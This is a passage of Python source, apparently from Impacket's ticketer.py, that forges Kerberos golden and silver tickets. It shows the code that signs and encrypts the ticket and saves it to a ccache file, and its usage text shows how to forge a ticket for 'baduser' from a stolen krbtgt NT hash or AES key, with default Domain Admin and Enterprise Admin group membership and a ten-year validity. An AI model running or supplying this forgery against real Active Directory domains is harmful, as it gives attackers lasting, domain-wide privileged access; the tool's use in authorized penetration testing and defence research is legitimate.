encoder.encode(authorizationData) 629 630 encTicketPart['authorization-data'][0]['ad-data'] = authorizationData 631 632 if logging.getLogger().level == logging.DEBUG: 633 logging.debug('Customized EncTicketPart') 634 print(encTicketPart.prettyPrint()) 635 print ('\n') 636 637 encodedEncTicketPart = encoder.encode(encTicketPart) 638 639 cipher = _enctype_table[kdcRep['ticket']['enc-part']['etype']] 640 if cipher.enctype == EncryptionTypes.aes256_cts_hmac_sha1_96.value: 641 key = Key(cipher.enctype, unhexlify(self.__options.aesKey)) 642 elif cipher.enctype == EncryptionTypes.aes128_cts_hmac_sha1_96.value: 643 key = Key(cipher.enctype, unhexlify(self.__options.aesKey)) 644 elif cipher.enctype == EncryptionTypes.rc4_hmac.value: 645 key = Key(cipher.enctype, unhexlify(self.__options.nthash)) 646 else: 647 raise Exception('Unsupported enctype 0x%x' % cipher.enctype) 648 649 # Key Usage 2 650 # AS-REP Ticket and TGS-REP Ticket (includes TGS session 651 # key or application session key), encrypted with the 652 # service key (Section 5.3) 653 logging.info('\tEncTicketPart') 654 cipherText = cipher.encrypt(key, 2, encodedEncTicketPart, None) 655 656 kdcRep['ticket']['enc-part']['cipher'] = cipherText 657 kdcRep['ticket']['enc-part']['kvno'] = 2 658 659 # Lastly.. we have to encrypt the kdcRep['enc-part'] part 660 # with a key we chose. It actually doesn't really matter since nobody uses it (could it be trash?) 661 encodedEncASRepPart = encoder.encode(encASorTGSRepPart) 662 663 if self.__domain == self.__server: 664 # Key Usage 3 665 # AS-REP encrypted part (includes TGS session key or 666 # application session key), encrypted with the client key 667 # (Section 5.4.2) 668 sessionKey = Key(cipher.enctype, encASorTGSRepPart['key']['keyvalue'].asOctets()) 669 logging.info('\tEncASRepPart') 670 cipherText = cipher.encrypt(sessionKey, 3, encodedEncASRepPart, None) 671 else: 672 # Key Usage 8 673 # TGS-REP encrypted part (includes application session 674 # key), encrypted with the TGS session key 675 # (Section 5.4.2) 676 sessionKey = Key(cipher.enctype, encASorTGSRepPart['key']['keyvalue'].asOctets()) 677 logging.info('\tEncTGSRepPart') 678 cipherText = cipher.encrypt(sessionKey, 8, encodedEncASRepPart, None) 679 680 kdcRep['enc-part']['cipher'] = cipherText 681 kdcRep['enc-part']['etype'] = cipher.enctype 682 kdcRep['enc-part']['kvno'] = 1 683 684 if logging.getLogger().level == logging.DEBUG: 685 logging.debug('Final Golden Ticket') 686 print(kdcRep.prettyPrint()) 687 print ('\n') 688 689 return encoder.encode(kdcRep), cipher, sessionKey 690 691 def saveTicket(self, ticket, sessionKey): 692 logging.info('Saving ticket in %s' % (self.__target.replace('/', '.') + '.ccache')) 693 from impacket.krb5.ccache import CCache 694 ccache = CCache() 695 696 if self.__server == self.__domain: 697 ccache.fromTGT(ticket, sessionKey, sessionKey) 698 else: 699 ccache.fromTGS(ticket, sessionKey, sessionKey) 700 ccache.saveFile(self.__target.replace('/','.') + '.ccache') 701 702 def run(self): 703 ticket, adIfRelevant = self.createBasicTicket() 704 if ticket is not None: 705 encASorTGSRepPart, encTicketPart, pacInfos = self.customizeTicket(ticket, adIfRelevant) 706 ticket, cipher, sessionKey = self.signEncryptTicket(ticket, encASorTGSRepPart, encTicketPart, pacInfos) 707 self.saveTicket(ticket, sessionKey) 708 709 if __name__ == '__main__': 710 # Init the example's logger theme 711 logger.init() 712 print(version.BANNER) 713 714 parser = argparse.ArgumentParser(add_help=True, description="Creates a Kerberos golden/silver tickets based on " 715 "user options") 716 parser.add_argument('target', action='store', help='username for the newly created ticket') 717 parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the silver ticket will' 718 ' be generated for. if omitted, golden ticket will be created') 719 parser.add_argument('-request', action='store_true', default=False, help='Requests ticket to domain and clones it ' 720 'changing only the supplied information. It requires specifying -user') 721 parser.add_argument('-domain', action='store', required=True, help='the fully qualified domain name (e.g. contoso.com)') 722 parser.add_argument('-domain-sid', action='store', required=True, help='Domain SID of the target domain the ticker will be ' 723 'generated for') 724 parser.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key used for signing the ticket ' 725 '(128 or 256 bits)') 726 parser.add_argument('-nthash', action="store", help='NT hash used for signing the ticket') 727 parser.add_argument('-groups', action="store", default = '513, 512, 520, 518, 519', help='comma separated list of ' 728 'groups user will belong to (default = 513, 512, 520, 518, 519)') 729 parser.add_argument('-user-id', action="store", default = '500', help='user id for the user the ticket will be ' 730 'created for (default = 500)') 731 parser.add_argument('-extra-sid', action="store", help='Comma separated list of ExtraSids to be included inside the ticket\'s PAC') 732 parser.add_argument('-duration', action="store", default = '3650', help='Amount of days till the ticket expires ' 733 '(default = 365*10)') 734 parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 735 736 group = parser.add_argument_group('authentication') 737 738 group.add_argument('-user', action="store", help='domain/username to be used if -request is chosen (it can be ' 739 'different from domain/username') 740 group.add_argument('-password', action="store", help='password for domain/username') 741 group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 742 group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ' 743 'ommited it use the domain part (FQDN) specified in the target parameter') 744 745 if len(sys.argv)==1: 746 parser.print_help() 747 print("\nExamples: ") 748 print("\t./ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser\n") 749 print("\twill create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4.") 750 print("\tIf you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256") 751 print("\t(depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as") 752 print("\tbaduser.ccache.\n") 753 print("\t./ticketer.py -nthash <krbtgt/service nthash> -aesKey <krbtgt/service AES> -domain-sid <your domain SID> -domain " 754 "<your domain FQDN> -request -user <a valid domain user> -password <valid domain user's password> baduser\n") 755 print("\twill first authenticate against the KDC (using -user/-password) and get a TGT that will be used") 756 print("\tas template for customization. Whatever encryption algorithms used on that ticket will be honored,") 757 print("\thence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser'") 758 print("\tand saved as baduser.ccache") 759 sys.exit(1) 760 761 options = parser.parse_args() 762 763 if options.debug is True: 764 logging.getLogger().setLevel(logging.DEBUG) 765 else: 766 logging.getLogger().setLevel(logging.INFO) 767 768 if options.domain is None: 769 logging.critical('Domain should be specified!') 770 sys.exit(1) 771 772 if options.aesKey is None and options.nthash is None: 773 logging.error('You have to specify either a aesKey or nthash') 774 sys.exit(1) 775 776 if options.aesKey is not None and options.nthash is not None and options.request is False: 777 logging.error('You cannot specify both -aesKey and -nthash w/o using -request. Pick only one') 778 sys.exit(1) 779 780 if options.request is True and options.user is None: 781 logging.error('-request parameter needs -user to be specified') 782 sys.exit(1) 783 784 if options.request is True and options.hashes is None and options.password is None: 785 from getpass import getpass 786 password = getpass("Password:") 787 else: 788 password = options.password 789 790 try: 791 executer = TICKETER(options.target, password, options.domain, options) 792 executer.run() 793 except Exception as e: 794 if logging.getLogger().level == logging.DEBUG: 795 import traceback 796 traceback.print_exc() 797 print(str(e))